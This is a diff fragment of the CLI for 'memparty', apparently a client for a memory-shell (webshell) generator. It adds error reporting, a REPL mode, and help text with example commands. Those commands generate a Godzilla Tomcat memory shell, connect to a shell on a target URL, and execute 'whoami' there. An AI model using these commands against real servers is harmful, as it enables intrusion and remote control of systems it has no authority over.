+      } else if (err instanceof ApiError) {
+        reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
+      } else if (err instanceof Error) {
+        if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
+        else reportError(err.message, tokens);
+      } else {
+        reportError(String(err), tokens);
+      }
+    }
+    process.exitCode = 0;
+    rl.resume();
+  }
+  rl.close();
+}
+
 // src/cli.ts
 function buildProgram() {
-  const program = new Command7();
+  const program = new Command8();
   program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
     "--api <url>",
     `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
-  ).option("--timeout <ms>", "request timeout in milliseconds", "30000");
+  ).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
+    "after",
+    `
+Quick start:
+  $ memparty gen                                   # interactive memory-shell wizard
+  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
+  $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
+  $ memparty exec 192.0.2.1/godzilla --cmd whoami    # auto-saved by a successful connect
+  $ memparty list                                  # saved targets
+  $ memparty log                                   # recent operations
+
+Every subcommand has its own examples: memparty <command> --help
+`
+  );
   registerGenCommand(program);
   registerProbeCommand(program);
   registerConfigCommand(program);
@@ -2906,26 +3145,29 @@ function buildProgram() {
   return program;
 }
 async function main() {
+  if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
+    await startRepl(buildProgram);
+    return;
+  }
   const program = buildProgram();
   try {
     await program.parseAsync(process.argv);
   } catch (err) {
-    if (err instanceof ApiError) {
-      process.stderr.write(`API error (${err.status || "network"}): ${err.message}
-`);
+    if (err instanceof CommanderError2) {
+      process.exitCode = err.exitCode;
+    } else if (err instanceof ApiError) {
+      reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
       process.exitCode = 1;
     } else if (err instanceof Error) {
       if (err.name === "ExitPromptError") {
         process.stderr.write("\nAborted.\n");
         process.exitCode = 130;
       } else {
-        process.stderr.write(`Error: ${err.message}
-`);
+        reportError(err.message, process.argv);
         process.exitCode = 1;
       }
     } else {
-      process.stderr.write(`Error: ${String(err)}
-`);
+      reportError(String(err), process.argv);
       process.exitCode = 1;
     }
   }